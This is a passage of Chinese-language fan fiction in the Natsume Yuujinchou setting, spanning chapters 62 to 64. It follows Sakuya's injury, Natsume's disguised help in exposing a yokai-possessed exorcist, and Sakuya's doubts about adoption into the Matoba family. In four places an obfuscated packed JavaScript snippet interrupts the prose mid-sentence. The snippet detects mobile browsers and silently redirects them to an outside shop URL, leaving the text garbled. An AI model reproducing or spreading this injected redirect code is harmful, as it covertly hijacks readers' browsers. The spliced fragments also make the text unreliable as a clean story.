“如果铃木君实在想知道的话,可以靠近一些……” 僵硬的面孔转了过来,异样的感觉更加明显。 朔也靠近另一侧车门的手已经悄悄从衣兜里掏出了符咒,他盯着那张“面具”平静地问道:“佐野先生,你最近有遇到什么奇怪的东西吗?” 这句话让佐野先生身上的东西放弃了伪装,男人僵硬的面孔如真实的面具一般从脸上剥离开,显露出非人的邪恶模样。 「呵~竟然被你这种小鬼识破了!」 朔也没有理睬它,干脆利落地甩出符咒。 「以神敕之名,净除污秽,邪物祓除!」 面具妖怪大概没料到朔也的应对这么直接,只来得及嚎叫一声,面具便碎裂消散。 朔也刚松了口气,正准备查看佐野先生的状况,就随着一股巨大的推力跌向前座的方向。 剧烈的疼痛从额头和手腕处传来,朔也懊恼地痛呼一声。 他忘了提醒司机,对方估计被车里的突发情况吓到了,慌乱之下让车撞到了什么东西。 但愿司机和佐野先生没有受伤。 * 夏目没想到会在家门口看到的场静司。 “的场先生?” “哦呀,你终于回来了。” 的场静司似乎已等了许久,他没有展开礼节性地寒暄,也不再像曾经见面那样绕弯子,而是直白地说道:“夏目君,我想委托你处理一件事情。” “诶?” “当然,你也可以理解为,我需要你的帮助。” 夏目瞪大眼睛,的场静司在他眼里一直都非常强硬,甚至可以说,傲慢。 这是他第一次见到对方放低姿态的样子。 “呃,你想让我帮什么?” 的场静司看了看藤原宅,微笑道:“我们借一步说话吧,有些事情你大概不想那家人知道。” 夏目微微皱眉,但还是妥协地点了点头。 离开藤原宅后,的场静司和夏目讲了些原委。 近期有不少术师遭到袭击,的场一门也有术师被波及,因为那个凶手总挑在业内很有实力的人下手,着实引起了不小的恐慌。 作为除妖师头领之一的的场当然不能对其置之不理,在调查确定凶手极有可能是除妖师内部的人之后,的场家便决定召开一场集会,邀请各方有实力的除妖师参加,借此机会将凶手引出来。 听着来龙去脉,夏目心里有些疑虑,这是除妖师内部的事情吧?为什么要找他帮忙呢?他又能做什么呢?不过,如果那个凶手总是伤害厉害的除妖师的话,那朔也…… 似乎是猜中了夏目心里的嘀咕,的场静司解释道:“那个凶手应该是被一种‘凶面’妖怪操纵了,他会让‘凶面’的分身依附在其他术师身上,以此来操控更多除妖师。” “被妖怪依附的人很难被识破,给我们惹了不少麻烦,这次集会,我们想将这件事情彻底解决,所以需要邀请你这样不是除妖师但很有能力的人来帮忙。” “喂!的场家的小鬼!”猫咪老师眯起眼睛,质问道:“让夏目去参加这种不知道什么时候会被袭击的集会,你不会是把他当成了诱饵吧!” “啊,我倒是很理解猫咪的担忧。” 的场静司对猫咪老师的质问并不在意。 “那个妖怪只会攻击除妖师,我会安排夏目君扮成的场一门的新式神,以妖怪的身份潜伏在会场里,趁机探查异常的除妖师。” “既然是委托,的场家也会给夏目君提供相当丰厚的报酬,如何?” “我不需要报酬。”夏目看向的场静司,“发生了这样的事情,朔也和名取先生也会有危险吧?为了保护他们,我会帮忙的。” “看来我们是沾了朔也和周一的光呢。”的场静司笑说道:“那就多谢你了,夏目君。明天中午我会来这里接你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951785|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏目打量了他几眼,突然问道:“这个委托,朔也知道吗?” 的场静司看向他,微笑道:“这很重要吗?” 夏目蹙眉,“如果朔也知道的话,他一定会亲自和我说的。” 不等的场静司回答,夏目又追问道:“他怎么了?发生了什么事?” 的场静司有些诧异,夏目这种时候表现出来的敏锐直觉和朔也十分相似,他们似乎总能觉察到那些细微之处。 夏目从的场静司的表情里窥出端倪,担心地问道:“朔也被那个妖怪袭击了?他受伤了吗?” “啊,那孩子不小心遇见了被凶面分身操纵的同门。”的场静司不再隐瞒,“不过那个分身已经被朔也祓除了,只是当时开车的司机太过慌张,让后座的他撞伤……” “很严重吗?!”夏目的心提了上来。 “头和手腕受了轻伤,没有大碍,只是近期有些不便。”的场静司无奈地说道:“但那孩子很有主见,恐怕安静不下来。” 夏目皱紧眉头,“那我明天可以先去看望朔也吗?” 的场静司有一瞬间的迟疑。 夏目顿时怀疑地问道:“朔也不会也不知道集会的事情吧?” “哦呀,你的直觉还真是可怕呢。” “的场先生,这件事最好还是告诉朔也哦。”夏目皱眉看着对方。 “我还以为你会赞同我的做法。”的场静司意味不明地说道:“让受伤的朔也远离更多危险,这难道有什么不对么?” “从的场先生的角度来说,确实没什么不对。” “但举办这样的集会,的场先生也会很危险吧?”夏目认真地说道:“朔也很关心你,隐瞒这样的事情会让他难过的。” 少年透过凉亭,看向远处的河面,轻声说道:“我不告诉家人危险的事,是因为他们无法看见妖怪,说出来只会让他们着急不安,甚至自责无法保护我。” “但朔也是能够和的场先生并肩作战的人,看似善意的隐瞒,大概会让他觉得自己不被需要。” 的场静司看着夏目若有所思。 “我明白了。” 见对方什么都没有辩驳,夏目反倒有些不好意思起来,怀疑自己说得太多了。 其实以他对的场静司的观感,并不愿意说这种有些越界的劝告,但涉及朔也,他难免更关心一些。 如果他有朔也这样的家人,一定不会隐瞒对方什么的,无论面对什么事情,他们都不是孤单一人。这样的话,不管发生什么,他都不会惧怕吧。 “夏目君,如果我不告诉朔也,你会告诉他吗?” 夏目看了的场静司一眼,笃定地说道:“如果他问我,我一定会说的!” 的场静司轻笑一声,也没说自己到底会不会告知朔也实情。 “那就这样吧,明天见了,夏目君。” 看着的场静司走远的背影,夏目沉吟了一会儿,自言自语般说道:“其实我说的那些,的场先生心里都很清楚吧?” 但太想保护一个人的话,也会因此生出许多顾虑。 “那种让妖怪忌惮的家伙也有自己的软肋,对我们来说可是件好事!”猫咪老师以妖怪的视角点评道。 夏目瞥了它一眼,没好气地说道:“猫咪老师说这种话就像大反派一样!” “哼!本大爷难道没有做大反派的实力吗?” “噗!哪有这么胖的反派?!” “都说了这是毛!蓬松飘逸的毛!” 62.第六十二章 安心 * 夏目猜得没错,的场静司心里其实很清楚,只是清楚并不意味着他不会犹豫。 那天当他得知朔也出事时,并没有如何慌乱,依旧如往常处理其他事情那般有条不紊,只有七濑看出了他的异常。 “朔也伤得不重,静司,冷静一点。” 七濑察觉到了他压抑的恐惧、焦灼,以及努力克制的愤怒。 这样汹涌的情绪对的场静司来说很陌生,他的控制欲不仅是向外的,也是向内的,控制自己的情绪、时刻保持稳定就像是他的本能。 但在真的遇到让他感觉严重失控的事态之后,这种本能顷刻瓦解,能够维持外表的镇定不过得益于驾轻就熟的伪装罢了。 直到他在医院里见到朔也,那些在心里沸腾着、炙烤着他的东西才慢慢缓和下去,但后怕的情绪又随之而来,让他只想将朔也时刻放在自己目之所及的地方。 在那一刻,他终于明白七濑过去对他一次次的提醒和劝告是因为什么。 这种过于激烈的情感以及它们牵动着的潜意识想法,让他想起自己的姐姐,那个真的可以使用一切手段只为实现心中所想的人。 但,的场静司是不会成为的场史信的。 他不可能像姐姐那样,只因为一个念头就毫无顾忌地去行动。 实际上,直到去见夏目之前,他都在考虑是否真的要向朔也隐瞒集会的事情。 朔也的性格很沉稳,即便知道集会的目的也不至于做出不顾自己安危的举动。 与其说的场静司担心他再次受伤,倒不如说是他的私心在作祟,让朔也处于绝对的安全之中,才能安抚他最近有点失控的情绪。 听上去是很差劲的家伙才会做的事情啊。 的场静司暗暗叹了口气,叩了叩眼前的拉门。 “进来吧,静司先生!” 的场静司拉开门,看见朔也正躺在豆袋沙发上看书,如果不是额头的淤青和左手腕处的护腕太过显眼,他看起来还能更悠闲一些。 不得不说,这样的场景营造了一种非常安定的氛围,让的场静司最近一直紧绷着的那根弦缓和了些许。 “静司先生很疲惫的样子。”这么说着,朔也坐起身,给的场静司倒了杯茶,关心地问道:“是那个凶面又做了什么吗?” “这件事情差不多也到结束的时候了。”的场静司淡笑着说道。 “唔。”朔也点点头,问道:“因为明天的集会?” 的场静司打量着他的神情,“哦呀,看来你已经知道了?” 朔也支起完好的右手,撑着脸颊慢悠悠地吐槽道:“如果真的不想告诉我的话,至少得把保密工作做得更好一些吧,我可是随便找人问了问就一清二楚了哦。” 的场静司无奈地轻笑一声,“抱歉,是我的疏忽。” 朔也看着的场静司,沉默了一会儿,冷不丁问道:“静司先生,我可以抱抱你吗?” “嗯?” 的场静司很意外,朔也对拥抱之类的肢体接触没什么偏好,有时候甚至是排斥的,虽然不明白朔也为什么突然提出这样的要求,但的场静司倒是求之不得。 于是他玩笑道:“是朔也的话,随时都可以哦。” 朔也没有像往常那样,在的场静司故意逗他的时候羞恼或者吐槽,而是一言不发地绕开矮桌,跪坐下去的同时扑进的场静司的怀里。 直接又有些鲁莽的动作让的场静司吓了一跳,赶紧接住他,将人紧紧抱住,生怕对方又磕碰到哪里。 朔也没有吭声,自顾自地调整了一个舒服的位置,静静地待着不动了。 的场静司捉摸不透朔也此时的想法,也无暇顾及,他发现心里原本压抑着的烦躁在抱住朔也后很快就平息了,或者说,他突然觉得安心起来。 安心且安定,似乎一切都变得很踏实、很确定,就连那个故意针对的场家的凶面在此刻看来也成了小丑般的家伙,不能再像之前那样扰乱他的思绪。 的场静司长长地呼出一口气,发出一声满足的喟叹,他感觉精神和身体都终于真正地放松了,也因此意识到之前的自己到底绷得有多紧。 两个人亲密地贴在一起,时间稍微长一点,许多细节就会自然地浮现。 朔也身上的气息和的场静司很类似,因为朔也对日常洗护使用的东西没有特别的喜好,千夏给他准备的都和的场静司一样。 但在洗发香波、衣物护理液以及织物熏香残留的气味之外,的场静司还能嗅到其他的——一种非常清浅的调和了轻微苦涩和甜香的味道——像是撒上了抹茶粉、显得格外可口的点心。 这样的味道让的场静司更加愉悦,他抱着朔也,像抱着玩偶公仔那样,克制不住喜爱地蹭了蹭脸,摸了摸朔也的头发,又捏了捏他的后颈,最后更是把脸埋进朔也脖颈处,感受着对方皮肤散发的温度。 朔也忍不住动了动,不满地嘟囔道:“不要得寸进尺啊,静司先生。” 的场静司闷闷地笑了起来,“为什么朔也知道这样做会有用呢?” 他此刻已经明白朔也突然拥抱他的缘由,自己看似隐藏很好的紧张和不安在朔也眼里似乎一览无遗。 “不知道。”朔也懒洋洋地回答,“就是突然很想这样做。” “很有效哦。” 这样的效力好得过于惊人了,甚至远超的场静司的预料,他也是刚刚才意识到,朔也对他的影响比他自己以为的更多很多…… “朔也身上有抹茶的味道。” “竟然连这个都能闻到。”朔也嘀咕着,“下午茶是抹茶大福,给你留的那份在冰箱里。” “唔……” 的场静司嗅了嗅那抹仍萦绕在鼻尖的抹茶气息,突然很想咬上一口试试,如果朔也是一个抹茶大福的话。 “应该会很美味吧。” “嗯。” 朔也应了一声,打了个哈欠。 “困了吗?”的场静司没有松开手的打算,只是调侃道:“好像把朔也的能量吸走了。” “静司先生的拥抱太让人安心了,就很容易犯困。” 的场静司露出愕然的神情,失笑道:“我还是第一次知道自己有哄睡的功能。” 朔也困倦地眨了眨眼睛,忽然问道:“静司先生,你种过树吗?” “嗯?没有。”的场静司饶有兴趣,“为什么突然问这个?” “只要种的不是那些特别娇惯的树种,在度过幼生期后,它们就会变得很强健,不惧虫鸟野兽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955004|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不怕恶劣的天气。” “嗯哼?”的场静司大概猜到了朔也的意思。 “我也可以像树一样。” 朔也轻轻拍了拍的场静司的脊背。 “我会努力保护自己的,静司先生,多相信我一些吧。” 的场静司有一瞬间的走神,他试图回想几天前在医院时的场景。 按照医生的说法,朔也在危险发生时反应敏捷,很好地保护了自己,所以伤处都不严重。 其实不只是这些,碰撞发生后,司机和佐野先生都晕了过去,唯一保持清醒的朔也及时判断了他们的情况,然后叫了救护车,以的场家的名义联系了医生,最后通知了七濑和几位同门。 这样有条不紊的处理让七濑极为满意,所以她的担忧反而没有的场静司那么过头。 确实,朔也已经能从容应对许多事务了。 虽然的场静司根本做不到对发生在朔也身上的危险事情冷静看待,但尽量控制因此而来的泛滥情绪,也很有必要。 就像朔也说的那样,他应该更相信他一些。 的场静司环抱的手臂收紧了一些,笑着提议道:“朔也,一起种棵树吧。” 朔也没有回答,的场静司耳边平静绵长的呼吸倒是逐渐清晰起来。 他弯起嘴角,有些无奈,但又觉得这样的朔也很可爱。 嘛,只能改天再告诉他了…… 不过在那之前是不是得准备好合适的土地和树苗呢?要种在本宅吗?还是其他朔也喜欢的地方?他更偏爱哪种树木呢…… 慢慢来好了,毕竟,琢磨朔也的喜好也是一件很有趣的事。 * “的场先生,你告诉朔也了吗?”在次日见到来接他的的场静司时,夏目很直接地问道。 因为担心朔也,他昨晚给朔也打过电话,但接电话的正是眼前这个人,告诉他朔也睡着了,夏目不想打扰朔也休息,只能作罢。 “夏目君是怎么认为的呢?” 夏目看着的场静司似笑非笑的表情,突然觉察到些许不同。 此刻的的场静司更像是他此前见过数次的那个的场一门的首领,难以捉摸,让人本能地忌惮。 对比之下,昨天他见到的的场静司显得更……该怎么说呢?似乎更真实一些,尤其是在提及朔也的时候。 夏目不太明白为什么会有这种区别,但他猜测对方的变化可能和朔也有关。 “朔也应该知道了。”夏目如此断定。 的场静司微微挑眉,“我没有告诉他。” 夏目怀疑地看向他。 “不过朔也自己猜到了。” 夏目打量了一眼的场静司的表情,读不懂对方那种隐约的愉悦到底从何而来。 “朔也会参加今天的集会吗?” “当然。” “那他的伤没关系吗?”夏目有些担心。 的场静司微笑道:“那就得拜托夏目君,尽快抓到那个被凶面控制的家伙了。” 夏目皱眉,忽然意识到朔也曾经告诉过他的话是真的,的场先生确实会故意做些引人误会的事情。 如果不是他知情的话,恐怕还以为对方是在用朔也要挟他呢。 真是个怪人。 63.第六十三章 凶面 * 这次的集会在一幢和的场本家不相上下的别邸进行,刚到这里还没来得及去找朔也,夏目就被带去换了衣服,毕竟的场家的新式神不能穿着人类少年的休闲服出现。 只是集会现场的情况远比夏目想的可怕,刚进门没多久就听见了不知道是人还是妖怪的惨叫声,紧接着又出现了凶面分身操纵除妖师攻击的场静司的危险情形。 显然,夏目今天要给的场家帮的不是一个小忙。 集会正式开始后,扮作式神的夏目刚跟着的场静司进入会场,就被这里聚集的除妖师和各种妖怪们吓了一跳。 这也太多了! 要从这么多人和妖里辨别出被附身的人,简直像在大海捞针。 夏目站在角落里四处张望,很有点无从下手的感觉。 “咦?这是的场家的新式神吧?” “看着很弱小,是有什么特殊才能么?” 夏目看着围上来的疑似除妖师的人,有些无措,作为式神,在这种情况下该有什么反应呢? “喂,你这小家伙,来给我们斟酒吧!” 有人随意地推搡着夏目,像是在逗弄什么有趣的东西。 另一个人索性拽住夏目的胳膊,跟着起哄道:“要不给我们表演个余兴节目吧!” 夏目一时没反应过来,他没料到这些人对待式神这么随意无礼。 “你们在干什么?” 一个冷淡的声音让几个除妖师的动作顿时收敛起来。 “刚刚的场先生有说过吧,这是的场家的式神,你们现在这样,是因为对的场家有什么不满吗?” “呃,哪、哪有,你误会了!” “是啊,都是误会、误会……” “是吗?既然是误会,那就向这个式神道歉吧。” “这……怎么可能向式神道歉呢……” “对啊,不过是式神而已……” “不管你们是如何对待自己的式神的,冒犯了的场一门的式神就必须道歉。” 有着冷淡声音的人态度非常强硬,虽然他带着面具,但穿着带有的场家家徽纹样的衣服,一般的的场除妖师可不会穿这个。 在的场家的地盘上,几个人不想惹出事端,于是一起含糊地道着歉敷衍过去后就溜走了。 夏目看向带着面具的人,小声叫了一声。 “朔也?” “夏目,果然是你!” 朔也一把拽住夏目,带着他走出会场,颇有些气急败坏地说道:“你怎么过来了?静司先生竟然没告诉我!” “诶?” 夏目瞪大眼睛,“的场先生不是说你知道了吗?” “我知道什么?” 朔也取下面具,愤愤然说道:“他只说委托了合适的人过来帮忙,根本没说接委托的是你!” 静司先生肯定是故意的!难道是对他吐槽保密工作做得不够好的回击吗?太幼稚了吧! 夏目的注意力都放在了朔也的额头上,那片淤青看起来可不是小伤。 “朔也,你的伤……” “啊,这个啊,只是看起来可怕,其实快好了。” 朔也不在意地摆了摆手。 夏目看了看他完好的手腕,然后又看向另一只手。 朔也只好把带着医用护腕的左手也抬了起来,保证道:“真的没事,只是最近不能拉弓而已。” 夏目微微皱眉,“遇到那样危险的事,为什么不告诉我呢?” 朔也被问得有些心虚,如果夏目发生类似的事情不告知他的话,他肯定也会不高兴的。 “呃、对不起,我觉得不是什么大事,所以……” 朔也尴尬地咳了一声,转而控诉道:“你来参加这种危险的集会也没告诉我哦!” “我本来打算告诉你的。”夏目也控诉道:“但昨天给你打电话,的场先生说你睡着了!” “唔,这样么……”朔也避开夏目的目光,不自在地挠了挠脸颊,嘟囔道:“那是意外……” “喂!你们两个小鬼要吵到什么时候?本大爷可是打算去蹭酒喝了!” 两个少年一起低头,看向不知道什么时候出现的猫咪老师。 “诶?猫咪老师,你现在不难受了吗?”夏目惊讶地问道。 之前因为结界的关系,猫咪老师难受得像醉酒的大叔一样。 朔也解释道:“丑猫现在戴着的符咒可以帮它避开结界。” 如果夏目独自处理委托的话他还有些担心,但有丑猫跟着的话就放心一些了。 “喂!小鬼,会场的美酒都在哪里?”猫咪老师冲着朔也理直气壮地问道。 朔也正想怼回去,就听见一阵奇怪的声响。 “朔也,你听见了吗?”夏目看向他。 朔也点点头,“嗯,像是上发条的声音。” 他们站在窗边,阳光映照进来,视野十分明亮,但两人的余光都不约而同地捕捉到一处怪异的阴影。 他们一起抬头看向窗外,那里什么都没有。 夏目索性拉开窗户转头向上望去,正对上一张长着络腮胡的脸,不禁吓了一跳。 “怎么了?”那个人微笑着,边抽烟边问道。 “您刚才有看见什么奇怪的东西在外边吗?” 朔也见夏目和上面的人说话,也戴上面具探出头去。 “这里到处都是奇怪的东西。”络腮胡男人看着他们,笑道:“你们都是式神吗?之前可没见过。” 朔也没吭声,只是细细打量着这个人。 夏目正准备答话,另一个熟悉的声音从两人背后传来。 “哦呀,你们已经碰面了吗?这是在做什么?” 夏目转过身,“的场先生,外面有一股奇怪的气息。” “是吗?”的场静司走到窗边看了看,“什么都没有呢。” 不知道是不是楼下越来越热闹的动静让楼上那个男人不自在,朔也看着他吐出烟圈后快速消失在窗边,莫名觉得有些怪异,这种怪异感…… 的场静司看向一旁的朔也,“朔也有什么发现吗?” 朔也这会儿顾不上计较的场静司隐瞒他的事情,思忖道:“不太确定,我和夏目先去楼上看看。” 的场静司看了看他们俩,微笑道:“那我给你们画上符文吧。” 他说的符文是可以识别妖怪并令其暴露的符箓,可以直接绘制在人的手上。 “要对付凶面的话,将符文压到可疑人的脸上,凶面就会被剥离出来。” 的场静司一边画符一边解释道:“其实朔也的守护符也有用,不过客人们太多了,无法供应给每个人。” 夏目看向朔也,他一直随身带着朔也给的御守,当然,不是旧的那个,是后来得到的新的。 “嗯,好了。” 画好符文,的场静司转而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962687|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向一旁的猫咪老师,有些遗憾地说道:“这种符文不能画在猫咪妖怪的爪子上呢。” 猫咪老师闻言瞬间炸毛,嫌弃地甩了甩脚爪,“嘁!本大爷才用不上这种小伎俩!” 的场静司笑了笑,不以为意,就在他准备再说些什么的时候,远处走廊突然传来尖叫声。 “朔也,你先去楼上吧,我去那边看看!” 大概是觉得发出尖叫的地方更危险,反应敏捷的夏目丢下一句话就带着猫咪老师跑走了。 朔也正准备跟上去,却被拽住了手腕。 “静司先生?” “朔也,让忌簾跟着你。” “忌簾”是之前的场静司和朔也一起制作的式神,不过朔也不喜欢让妖怪跟在自己身边,所以从来没有驱使过。 但现在的情况特殊,看着的场静司身后浮现出的黑色影子,朔也点了点头,“我会小心的。” “去吧,保护好朔也。”吩咐完忌簾的的场静司终于松开了手。 看着朔也带着式神离开,他微微叹息一声。 * 朔也去楼上刚刚那个男人所在的位置看了看,没发现什么异常,只好又回到会场里。 这次的集会空前盛大,来的人比以往的类似活动多许多,人和妖怪的气息混杂在一起,让感觉敏锐的朔也觉得有些恶心。 还好这是暂且可以忍受的不适,他在人群中缓慢穿行,尽量屏蔽混杂气息的干扰,寻找着属于凶面的怪异味道。 相比之下,夏目就比他直接多了,因为手上画了符文,所以干脆觉得谁奇怪就上去贴一贴手。 “噗!” 远远地看见这一幕的朔也憋笑憋得很辛苦,好处是,那种不适的恶心感竟然奇迹般地缓解了不少。 “这么盛大的集会,那位的场家的养子竟然没有出席么?” “啊,据说是前几天遭遇了意外。” “真是可惜啊!” 隔着一点距离,几个除妖师议论的声音传到了朔也的耳朵里,他停下步子,看了过去。 “呵呵,您似乎话中有话呢。” “虽然这么说不太好,但我想很多人都为那个孩子感到可惜吧。” “是呢,有着那么出众的才能,却只能屈居人下……” “明明去其他家族的话,可以成为一族首领,说不定会兴盛起和的场一门不相上下的势力……” 朔也蹙眉,所以那天被凶面附身的佐野先生,想和他说的就是这个吗? “的场一门也得势太久了,这样下去我们这些小家族都只能成为他们的附庸。” “也许……我是说,如果那个养子想要更多呢?的场家会有些动荡也说不定……” 几个人的话越说越过分,朔也直接走了过去。 “没想到各位这么关心的场家的事情,真是令人感动啊。” 一见到朔也,哪怕看不见他的面容,也能知道他是的场家的人,私下议论的几人顿觉尴尬,讪笑着含糊了几句就走开了。 这种事情对的场家来说应该已经寻常到不屑于理会了吧。 静司先生是否已不止一次地听到这些呢?所以那段时间才担心他会离开的场家? 「对朔也有关的事情,我没有看上去那么自信。」 静司先生会说出这种话,是因为总是在接收这些恶意的传言吗? 朔也的眉紧紧皱到了一起。 64.第六十四章 承诺 * 在会场内来回巡视注定是个低效率的办法,朔也开始寻找那个有着一脸络腮胡的可疑男人,那个除妖师不是和的场家熟识的人,朔也此前从未见过他。 只是明明有着确定的搜寻目标,朔也走遍了整个会场也没见到那个男人。 是去会场外了么? 朔也正准备出去寻找,会场的门却被猛地撞开。 显露真身的猫咪老师咬着个奇怪的东西冲了进来,趴在它背上的夏目正大声说着什么。 这样的场景给了会场的人十足的惊吓,人群先是愣住,接着又骚动起来。 大概是夏目扮演的式神身份和驱使的大妖让除妖师们十分忌惮,他们听不进去对方的劝告,反而把夏目当成了亟需教训的不听话式神。 糟了! 朔也迅速冲了过去,堪堪接住被拽倒的夏目。 “嘶!” 朔也避开了受伤的左手腕,却没想到被超出他预期的重量压得差点喘不过气。 夏目这家伙,明明看着还是很瘦,怎么变重了这么多! “啊,朔也!你没事吧!” 夏目赶紧起身,紧张地看向朔也的手。 “我避开了,手没事。” 朔也被夏目拉起来,忍不住揉了揉胸口,他怀疑那里已经青了一块。 “看来塔子阿姨真的很疼你哎,一定每天都有做你爱吃的东西吧?” “诶?”夏目搞不懂朔也为什么突然冒出这么一句没头没脑的话。 在两人说话的当口,从猫咪老师口中挣脱的凶面妖怪已经被的场静司一箭祓除了。 “哼,还真是爱出风头的家伙啊!”猫咪老师如此吐槽道。 朔也难得没和它针锋相对,毕竟现在的场景看上去确实能得出这个结论。 不过作为大家族的首领,“出风头”也是一种必要的工作。 那些有意或无意地制造着流言的人,真的会理解成为一个“首领”需要做到的事情吗? * 凶面的事情顺利解决,剩下的都是些琐事。 “的场先生,那个被凶面本体附身的人怎么样了?还好吗?” “啊,他被妖怪吞噬了不少力量,要苏醒过来可不容易。”的场静司很随意地说道:“不过这都是他应得的报应。” “这么说也太过分了吧?”夏目皱眉,“他是被妖怪附身……” “你想说他也是被妖怪祸及的受害者吗?” 的场静司虽然微笑着,声音却非常冷淡。 “这次的袭击都是冲着的场门下的人来的,袭击的人选、时机和手段都像是精心设计过,一般的妖怪可做不到这种程度。” “为了削弱的场一门的势力,不惜和凶面合作,以此获取操纵人类的力量,这应该是许多家伙都愿意去做的事吧。” 夏目有些怔愣,一时不知道该说些什么。 的场静司似乎也不想再多谈凶面的事情,转而说道:“夏目君,这次多谢了。” 夏目看向的场静司,发现这个人的神情显得很郑重。 “今天多亏了你,才能这么快找出凶面。”的场静司淡笑道:“我很担心朔也再次受伤,这一次,你是在帮我,也是在保护他。” 夏目一直隐隐皱着的眉渐渐舒展开。 “我不是在帮你,我只是在保护我想保护的人。” 的场静司轻笑一声,没有计较这点细节。 想要保护同样的人,当然也可以算是一种共同利益,这样的话,确实不必执着于让夏目加入的场一门了。 “夏目,这个给你!” 朔也提了一个精美的礼盒过来。 “今天有许多高级点心,没吃上就太可惜了,带回去和叔叔阿姨一起吃吧!” 还不等夏目开口,猫咪老师就猛地窜了起来,“我的呢?!本大爷可是给你们帮了大忙!” 朔也瞥了它一眼,对夏目认真叮嘱道:“里面还有一瓶美酒,千万藏好,别给丑猫偷喝了。” “嘁!” 猫咪老师哼了一声,也不蹦跶了。指望夏目能藏好酒,那还不如直接灌进它嘴里。 朔也和夏目相视一笑,高兴地说道:“这可是你第一次独立接委托哦~顺利完成,超厉害的!” “哪有,全靠猫咪老师……”夏目摸了摸鼻子,有些不好意思。 “你别再吹丑猫了,它都膨胀成这样了!”朔也忍不住吐槽。 两人看了看蹲在脚边的硕大圆柱体,对视一眼,又一起笑了起来。 “……” 猫咪老师忍气吞声,算了,看在美酒的份上。 * 天色已晚,夏目很快就带着猫咪保镖回家去了。 集会差不多已经结束,这个时候身为首领的的场静司也终于清闲下来,他打量着朔也的神情,调侃道:“这么闷闷不乐的样子,是因为不舍得朋友离开吗?” 朔也不满地撇撇嘴,“我又不是小孩子,怎么可能因为这种事情难过。” 他想起之前的事情,抱怨道:“静司先生才更幼稚吧,竟然故意不告诉我委托的人是夏目!” 的场静司笑眯眯的,也没有反驳,“这样不是更有趣吗?” 每次他这么说的时候,朔也都拿他没办法,纵容对方偶尔的恶趣味好像已经不知不觉成了朔也的一种习惯。 “所以朔也是因为什么不高兴呢?” 就像朔也能看出的场静司隐藏的情绪一样,朔也的心情在的场静司的眼里也总是一览无遗。 对于的场静司的提问,朔也沉默了一会儿,才开口说道:“静司先生,我可以不做的场家的养子吗?” 的场静司看着朔也,心里虽然惊诧,却并不觉得意外,这个问题是他们迟早都要提及的,只是朔也现在突然提出来,比他以为的时间要早很多。 “对于这件事,朔也是如何想的呢?” 朔也看着的场静司的眼睛,认真地说道:“如果我真的成了的场家的孩子,那些人不就更有理由挑剔静司先生了吗?” 在的场家生活的这些年,他偶尔能听到一些声音,暗暗将静司先生和那位已经离家的史信小姐对比。 即便静司先生做得再好,只要没能遵循那些人的要求,或者不够符合他们的期待,他们就会提到那位史信小姐,似乎那位小姐比静司先生更出色、更担得起的场家的重任。 明明是他们主动选择了静司先生不是吗?后来只要不如愿又装出一副不得已才迁就静司先生的样子。 简直可笑极了! 内部尚且有这些杂音,来自外部的恶意只会更多。 如果他被正式过继到的场家,大概有不少人都巴望着他成为挑战静司先生的那个人吧? 家族内的杂音大概也会变得更聒噪,毕竟,比起不知踪迹的史信小姐,他可是就站在静司先生旁边呢,做起对比来岂不是更容易? “我不想让静司先生被那些人随意地拿来比较或者评判,也不想让外面那些家伙摆出一副看好戏的样子。” 朔也皱着眉,生气地总结道:“我才不要成为那些讨厌的人攻击静司先生的借口!” “噗!” 的场静司突然笑出了声。 “喂!”朔也的脸迅速红了起来,“我可是很认真的在说的!” “啊,对不起,是我的错。”的场静司笑着摸了摸朔也的头,“竟然让你听到了那些烦人的东西。” 朔也拍开青年的时候,不满地说道:“都说了不要把我当小孩子啊!这些事情我总要面对的,如果一直躲在静司先生的身后,我不就永远帮不上忙了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968136|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的场静司有些怅然地收回手,无奈地笑道:“……也是呢。” 朔也有些别扭地把脸转向了一边,郁闷地说道:“我不是不想和静司先生成为真正的家人,但只要一想到有人会因为我的存在对静司先生说出那些话,我就没法忍受……” 